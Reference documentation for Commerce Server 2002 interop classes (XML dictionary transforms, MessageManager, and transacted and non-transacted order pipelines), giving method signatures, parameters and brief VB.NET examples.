GenerateXMLForDictionaryUsingSchema (IDictionary, IXMLDOMDocument) | Extracts an XML instance from the specified Dictionary object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object.


DictionaryXMLTransformsFreeThreaded.GenerateSampleXMLInstanceFromDictionary (OrderForm, String, Boolean) Method (PIA)

Use this method to generate an XML Data Reduced (XDR) schema. This method produces an XML instance based on the specified OrderForm object. You can then import this XML instance into a tool (such as the BizTalk Editor) that can construct a schema based on a given instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GenerateSampleXMLInstanceFromDictionary(
  oForm As OrderForm,
  ElementName As String,
  bIgnoreUnderScore As Boolean
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                               //For IXMLDOMNode
…
public IXMLDOMNode GenerateSampleXMLInstanceFromDictionary(
  OrderForm oForm,
  string ElementName,
  bool bIgnoreUnderScore
);

Parameters

[Visual Basic .NET]
oForm
Interface to an OrderForm object that contains the data to convert into XML.
ElementName
A String that contains the element name.
bIgnoreUnderScore
A Boolean that that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to True.
[C#]
oForm
An OrderForm interface to a OrderForm object that contains the data to convert into XML.
ElementName
A string that contains the element name.
bIgnoreUnderScore
A bool that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to true.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference used to return the XML instance.

[C#] This method returns an IXMLDOMNode interface of the newly created XMLDOMNode object containing the XML instance.

Exceptions

This method may throw one of many mapped exceptions or an exception of type CommerceException.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.DictionaryXMLTransform.dll

See Also

DictionaryXMLTransformsFreeThreaded class


DictionaryXMLTransformsFreeThreaded.GenerateSampleXMLInstanceFromDictionary (Dictionary, String, Boolean) Method (PIA)

Use this method to generate an XML Data Reduced (XDR) schema. This method produces an XML instance based on the specified Dictionary object. You can then import this XML instance into a tool (such as the BizTalk Editor) that can construct a schema based on a given instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GenerateSampleXMLInstanceFromDictionary(
  Dictionary As IDictionary,
  ElementName As String,
  bIgnoreUnderScore As Boolean
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                               //For IXMLDOMNode
…
public IXMLDOMNode GenerateSampleXMLInstanceFromDictionary(
  IDictionary Dictionary,
  string ElementName,
  bool bIgnoreUnderScore
);

Parameters

[Visual Basic .NET]
Dictionary
Interface to an IDictionary object that contains the data to convert into XML.
ElementName
A String that contains the element name.
bIgnoreUnderScore
A Boolean that that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to True.
[C#]
oForm
A Dictionary interface to an IDictionary object that contains the data to convert into XML.
ElementName
A string that contains the element name.
bIgnoreUnderScore
A bool that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to true.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference used to return the XML instance.

[C#] This method returns an IXMLDOMNode interface of the newly created XMLDOMNode object containing the XML instance.

Exceptions

This method may throw one of many mapped exceptions or an exception of type CommerceException.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.DictionaryXMLTransform.dll

See Also

DictionaryXMLTransformsFreeThreaded class


DictionaryXMLTransformsFreeThreaded.GenerateXMLForDictionaryUsingSchema (OrderForm, String, Boolean) Method (PIA)

Use this method to extract an XML instance from the specified OrderForm object that conforms to the specified schema.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GenerateXMLForDictionaryUsingSchema(
  orderForm As OrderForm,
  xmlSchema As IXMLDOMDocument
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMNode & IXMLDOMDocument
…
public IXMLDOMNode GenerateXMLForDictionaryUsingSchema(
  OrderForm orderForm,
  IXMLDOMDocument xmlSchema
);

Parameters

[Visual Basic .NET]
orderForm
Interface to an OrderForm object that contains the data to be converted.
xmlSchema
An XMLDOMDocument object that contains the XML schema.
[C#]
Dictionary
An OrderForm interface to an OrderForm object that contains the information to be converted.
xmlSchema
An IXMLDOMDocument interface to an XMLDOMDocument object that contains the XML schema.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an XMLDOMDocument object that contains the XML schema.

[C#] This method returns an IXMLDOMNode interface to an XMLDOMNode object that contains the XML instance.

Exceptions

This method may throw one of many mapped exceptions or an exception of type CommerceException.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.DictionaryXMLTransform.dll

See Also

DictionaryXMLTransformsFreeThreaded class


DictionaryXMLTransformsFreeThreaded.GenerateXMLForDictionaryUsingSchema (IDictionary, IXMLDOMDocument) Method (PIA)

Use this method to extract an XML instance from the specified Dictionary object that conforms to the specified schema.

Definition

[Visual Basic .NET]
using Microsoft.CommerceServer.Interop;
…
Public Function GenerateXMLForDictionaryUsingSchema(
  Dictionary As IDictionary,
  xmlSchema As IXMLDOMDocument
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMNode & IXMLDOMDocument
…
public IXMLDOMNode GenerateXMLForDictionaryUsingSchema(
  IDictionary Dictionary,
  IXMLDOMDocument xmlSchema
);

Parameters

[Visual Basic .NET]
Dictionary
Interface to a Dictionary object that contains the data to be converted.
xmlSchema
An XMLDOMDocument object that contains the XML schema.
[C#]
Dictionary
An IDictionary interface to a Dictionary object that contains the information to be converted.
xmlSchema
An IXMLDOMDocument interface to an XMLDOMDocument object that contains the XML schema.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an XMLDOMDocument object that contains the XML schema.

[C#] This method returns an IXMLDOMNode interface to an XMLDOMNode object that contains the XML instance.

Exceptions

This method may throw one of many mapped exceptions or an exception of type CommerceException.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.DictionaryXMLTransform.dll

See Also

DictionaryXMLTransformsFreeThreaded class


DictionaryXMLTransformsFreeThreaded.GetXMLFromFile Method (PIA)

Use this method to generate an XML Document Object Model (DOM) document from the specified file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetXMLFromFile(
  sFileName As String
) As IXMLDOMObject
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMDocument
…
public IXMLDOMDocument GetXMLFromFile(
  string sFileName
);

Parameters

[Visual Basic .NET]
sFileName
A String that contains the name of the file to convert.
[C#]
sFileName
A string that contains the name of the file to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to an XMLDOMDocument object containing the converted file data.

[C#] This method returns an IXMLDOMDocument interface of the XMLDOMDocument object, which will contain the converted file data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type CommerceException.

Remarks

This method does not return an error when the file specified by sFileName is an .exe file, a text file, an invalid XML file, or a nonexistent file. The error type can be found only by viewing the ParseError property of the DOMDocument object.

[C#] The returned interface is valid only if the method completes successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.DictionaryXMLTransform.dll

See Also

DictionaryXMLTransformsFreeThreaded class


DictionaryXMLTransformsFreeThreaded.ReconstructDictionaryFromXML Method (PIA)

Use this method to transform the specified XML instance (which must comply with the specified schema) into a Dictionary object. This method performs the inverse operation of the GenerateXMLForDictionaryUsingSchema method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ReconstructDictionaryFromXML(
  szDictionaryXML As String,
  xmlSchema As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMDocument
…
public IDictionary ReconstructDictionaryFromXML(
  string szDictionaryXML,
  IXMLDOMDocument xmlSchema
);

Parameters

[Visual Basic .NET]
szDictionaryXML
A String that contains the XML instance.
xmlSchema
An object reference to a XMLDOMDocument object that contains the XML schema.
[C#]
szDictionaryXML
A string that contains the XML instance.
xmlSchema
An IXMLDOMDocument interface to an XMLDOMDocument object that contains the XML schema used in the conversion.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to a Dictionary object that contains the converted data.

[C#] This method returns an IDictionary interface of the reconstructed Dictionary object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type CommerceException.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.DictionaryXMLTransform.dll

See Also

DictionaryXMLTransformsFreeThreaded class


MessageManager Class (PIA)

Use this object to store error messages in the multiple languages that Order Processing pipeline (OPP) components use to describe error conditions generated during order processing.

Methods

Method | Description
AddLanguage | Adds a new message set to the MessageManager object and associates that message set with a locale.
AddMessage | Adds a new message to the MessageManager object.
GetLocale | Returns the locale for the specified message set.
GetMessage | Returns the message associated with the specified message name constant.

Properties

Property | Type | Description
defaultLanguage | String | Specifies the default message set for the MessageManager object. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)


MessageManager Methods (PIA)

Methods

Method | Description
AddLanguage | Adds a new message set to the MessageManager object and associates that message set with a locale.
AddMessage | Adds a new message to the MessageManager object.
GetLocale | Returns the locale for the specified message set.
GetMessage | Returns the message associated with the specified message name constant.


MessageManager.AddLanguage Method (PIA)

Use this method to add a message set to the MessageManager object, and associate that message set with a locale. In subsequent calls to MessageManager object methods, the caller needs to identify the message set name, not the locale.

Any number of message sets can be associated with a single locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub AddLanguage(
  bstrLanguage As String,
  Locale As Integer
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void AddLanguage(
  string bstrLanguage,
  int Locale
);

Parameters

[Visual Basic .NET]
bstrLanguage
A String that contains the name for the message set to add to the MessageManager object.
Locale
An Integer that uniquely identifies the locale to associate with the added message set.
[C#]
bstrLanguage
A string that contains the name for the message set to add to the MessageManager object.
Locale
An int that uniquely identifies the locale to associate with the added message set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.AddLanguage("usa", 1033)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.DefaultLanguage

DataFunctions.Locale

MessageManager.GetMessage


MessageManager.AddMessage Method (PIA)

Use this method to add a message to the MessageManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub AddMessage(
 bstrName As String,
 bstrMessage As String,
 vtLanguage As Object
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void AddMessage(
  string bstrName,
  string bstrMessage,
  object vtLanguage
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the message name constant, which is a string that identifies the message to add. For a list of common messages and their constant names, see the Remarks section.
bstrMessage
A String that contains the text of the message to add.
vtLanguage
An Object that contains the language name with which to associate the message. This value, if specified, must be a language name added through a previous call to the AddLanguage method. If this parameter is not supplied, the language specified in the DefaultLanguage property of the MessageManager object is used.
[C#]
bstrName
A string that contains the message name constant, which is a string that identifies the message to add. For a list of common messages and their constant names, see the Remarks section.
bstrMessage
A string that contains the text of the message to add.
vtLanguage
An object that contains the language name with which to associate the message. This value, if specified, must be a language name added through a previous call to the AddLanguage method. If this parameter is not supplied (Type.Missing), or is null, the language specified in the DefaultLanguage property of the MessageManager object is used.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The following table lists the messages that are used by the default implementation of the Order Processing pipeline (OPP), showing the message name constant expected by the OPP components that use these messages.

Message name constant | Used by OPP component | Added to this collection under this condition
pur_badplacedprice | RequiredItemAdjustPrice | _Basket_Errors when the price of an item does not correspond to the price contained in the order form.
pur_badhandling | RequiredHandling | _Purchase_Errors when the handling cost for an order cannot be computed.
pur_badpayment | RequiredPayment | _Purchase_Errors when authentication code (_payment_auth_code) is not set.
pur_badshipping | RequiredShipping | _Purchase_Errors when the shipping for an order cannot be computed.
pur_badsku | RequiredProdInfo | _Basket_Errors when a stockkeeping unit (SKU) in the order form references an item that is not contained in the inventory for the site.
pur_badtax | RequiredTax | _Purchase_Errors when the tax on a purchase cannot be computed.
pur_badverify | RequiredTotal | _Purchase_Errors when the data stored by the ProcessVerifyWith method does not match the original data in the order form.
pur_noitems | RequiredOrderCheck | _Purchase_Errors when there are no items in the order form.
pur_out_of_stock | FlagInventory, LocalInventory | _Purchase_Errors when an item referenced in the order form is out of stock.
[Visual Basic .NET]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.AddMessage("pur_out_of_stock", _
    "At least one item is out of stock.")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.DefaultLanguage

MessageManager.GetMessage


MessageManager.GetLocale Method (PIA)

Use this method to return a number that identifies the locale for the specified message set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetLocale(
  vtLanguage As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
public int GetLocale(
  object vtLanguage
);

Parameters

[Visual Basic .NET]
vtLanguage
An Object that contains the name of the message set for which you want to retrieve the locale. This message set must have been added to the MessageManager object through a previous call to the AddLanguage method.
[C#]
vtLanguage
An object that contains the name of the message set for which you want to retrieve the locale. This message set must have been added to the MessageManager object through a previous call to the AddLanguage method.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer used to identify the locale for the specified message set.

[C#] This method returns an int used to identify the locale for the specified message set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Like the GetMessage method, the GetLocale method is usually not called from within a site. Instead, it is used by the pipeline component to retrieve the locale for a message that describes an error that the component has encountered.

[Visual Basic .NET]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.GetLocale("us")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.GetMessage

MessageManager.AddLanguage


MessageManager.GetMessage Method (PIA)

Use this method to return the text of the specified message.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetMessage(
  bstrName As String,
  vtLanguage As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
public string GetMessage(
  string bstrName,
  object vtLanguage
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the message constant name of the message to return. This is the name associated with this message when it was added to the MessageManager object through a call to the AddMessage method.
vtLanguage
An Object that specifies the name of the message set to which the message text belongs. This string specifies a message set that was added to the MessageManager object through a previous call to the AddLanguage method. If this parameter is not specified, or is Null, the message is returned for the message set identified by the DefaultLanguage property of the MessageManager object.
[C#]
bstrName
A string that contains the message constant name of the message to return. This is the name associated with this message when it was added to the MessageManager object through a call to the AddMessage method.
vtLanguage
An object that specifies the name of the message set to which the message text belongs. This string specifies a message set that was added to the MessageManager object through a previous call to the AddLanguage method. If this parameter is not specified (Type.Missing), or is null, the message is returned for the message set identified by the DefaultLanguage property of the MessageManager object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the text of the specified error message.

[C#] This method returns a string containing the text of the specified message.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The GetMessage method is seldom called from within a site. Instead, it is used by pipeline components to retrieve messages that describe errors that have occurred.

[Visual Basic .NET]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.GetMessage("pur_out_of_stock", "us")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.AddLanguage

MessageManager.GetLocale


MessageManager Properties (PIA)

Properties

Property | Type | Description
defaultLanguage | String | Specifies the default message set for the MessageManager object. This property is read/write.


MessageManager.defaultLanguage Property (PIA)

The defaultLanguage property is a String that is used to specify the default message set for the MessageManager object. When you use the GetMessage method, or use the AddMessage method to add messages to the MessageManager object, without specifying a message set for those messages, then the messages are associated with the message set specified in this property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Property defaultLanguage As String
[C#]
using Microsoft.CommerceServer.Interop;
…
public string defaultLanguage {get; set; }

Parameters

[C#]
defaultLanguage
When setting the property, a string that contains the default language.
When getting the property, a string used to return the default language.

Property Value

[C#] This property is a string containing the default language.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.GetLocale


MtsPipeline Class (PIA)

Use this object to run a non-transacted Microsoft Commerce Server 2002 pipeline. The pipeline may be an Order Processing pipeline (OPP).

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MtsPipeline object is registered under Microsoft Transaction Server (MTS) as "transactions not supported." Use this pipeline where transactions are not needed. For more information about transactions and pipelines, see Pipeline Basics.

The MtsPipeline is usually created on each page in which it is used.

The MtsPipeline is not a pooled pipeline. For more information about pooled pipelines, see About Pooled Pipelines.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)


MtsPipeline Methods (PIA)

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


MtsPipeline.Execute Method (PIA)

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Execute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
public int Execute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. In Site Server 3.0 Commerce Edition and later, the mode is set by loading an appropriately configured pipeline with the LoadPipe method. Use a value of one (1). A value of zero (0) prevents any stages from running.
pdispOrder
A reference to a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispContext
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
Mode
An int indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. In Site Server 3.0 Commerce Edition and later, the mode is set by loading an appropriately configured pipeline with the LoadPipe method. Use a value of one (1). A value of zero (0) prevents any stages from running.
pdispOrder
An object typically containing an OrderForm object that will be used by the pipeline.
pdispContext
A object containing a Dictionary object.
lFlags
An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET]

If this method completes successfully, it returns an Integer indicating whether there were warnings or errors detected by components in the pipeline. See the Exceptions section for more details.

In addition, the method returns one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.
[C#]

This method returns an int value indicating whether or not it completed successfully.

The int value returned is set to one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] The returned int is valid only if the method completes successfully.

[Visual Basic .NET]

Example

' pMtsPipeline is a Commerce.MtsPipeline object
' dOrder and dContext are Commerce.Dictionary objects

errVal = pMtsPipeline.Execute(1, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsPipeline Class

MtsPipeline.LoadPipe

MtsPipeline.SetLogFile

PooledPipeline Class


MtsPipeline.LoadPipe Method (PIA)

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file name.
[C#]
PszFileName
A string containing the pipeline configuration file name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file designated for transactions (for use in the MtsTxPipeline object).

[Visual Basic .NET]

Example

' pMtsPipeline is a Commerce.MtsPipeline object

errVal = pMtsPipeline.Load("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsPipeline Class

MtsPipeline.Execute

MtsPipeline.SetLogFile

PooledPipeline Class


MtsPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment: it degrades performance and may compromise the security of credit card numbers in non-set transactions.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void SetLogFile(
 string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList read and write operations.

Calling the method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline. The SetLogFile method is exposed on the OrderGroup object as the LogFile property and should be set before calling the RunPipe method.

[Visual Basic .NET]

Example

' pMtsPipeline is a Commerce.MtsPipeline object

errVal = pMtsPipeline.SetLogFile("CustomShipping.log")

' pOrderGroup is an OrderGroup object

pOrderGroup.LogFile = "CustomShipping.log"

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsPipeline Class

MtsPipeline.Execute

MtsPipeline.LoadPipe

PooledPipeline Class


MtsTxPipeline Class (PIA)

Use this object to run a transacted Microsoft Commerce Server 2002 pipeline configuration. The pipeline may be an Order Processing pipeline (OPP).

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MtsTxPipeline is usually created on each page in which it is used.

The MtsTxPipeline object is registered under Microsoft Transaction Server (MTS) as "transactions required." This object holds a transaction that spans all components in the pipeline configuration. For more information about transactions and pipelines, see Pipeline Basics.

When used with a database, the MtsTxPipeline object requires an ODBC-compliant database that supports MTS.

The Microsoft Distributed Transaction Coordinator (MSDTC) service must be running in order to use the MtsTxPipeline object.

To verify that the Distributed Transaction Coordinator service is running

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. Scroll to Distributed Transaction Coordinator and verify that the Status is Started.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)


MtsTxPipeline Methods (PIA)

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

See Also

MtsTxPipeline Object


MtsTxPipeline.Execute Method (PIA)

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Execute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
public int Execute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. In Site Server 3.0 Commerce Edition and later, the mode is set by loading an appropriately configured pipeline with LoadPipe method. Use a value of one (1). A value of zero (0) prevents any stages from running.
pdispOrder
A reference to a Dictionary object. The Order dictionary that will be used by the pipeline, usually an OrderForm object.
pdispContext
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
lMode
An int indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. In Site Server 3.0 Commerce Edition and later, the mode is set by loading an appropriately configured pipeline with LoadPipe method. Use a value of one (1). A value of zero (0) prevents any stages from running.
pdispOrder
An object typically containing an OrderForm object that will be used by the pipeline.
pdispContext
A object containing a Dictionary object.
lFlags
An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET]

If this method completes successfully, it returns an Integer indicating whether there were warnings or errors detected by components in the pipeline. See the Exceptions section for more details.

In addition, the method returns one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.
[C#]

This method returns an int value indicating whether or not it completed successfully. For more details, see the Exceptions section.

The int value returned is set to one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' pMtsTxPipeline is a Commerce.MtsTxPipeline object
' dOrder and dContext are Commerce.Dictionary objects

errVal = pMtsTxPipeline.Execute(1, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsTxPipeline Object

MtsTxPipeline.LoadPipe

MtsTxPipeline.SetLogFile


MtsTxPipeline.LoadPipe (PIA)

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file (.pcf) name.
[C#]
pszFileName
A string containing the pipeline configuration file (.pcf) name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a configuration file designated for non-transacted pipelines.

[Visual Basic .NET]

Example

' pMtsTxPipeline is a Commerce.MtsTxPipeline object

errVal = pMtsTxPipeline.LoadPipe("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsTxPipeline Object

MtsTxPipeline.Execute

MtsTxPipeline.SetLogFile


MtsTxPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment: it degrades performance and may compromise the security of credit card numbers in non-set transactions.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void SetLogFile(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline. The SetLogFile method is also exposed on the OrderGroup object as the LogFile property and should be called before calling its RunPipe method.

[Visual Basic .NET]

Example

' pMtsPipeline is a Commerce.MtsTxPipeline object

errVal = pMtsTxPipeline.SetLogFile("CustomShipping.log")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsTxPipeline Object

MtsTxPipeline.LoadPipe

MtsTxPipeline.Execute


OrderPipeline Class (PIA)

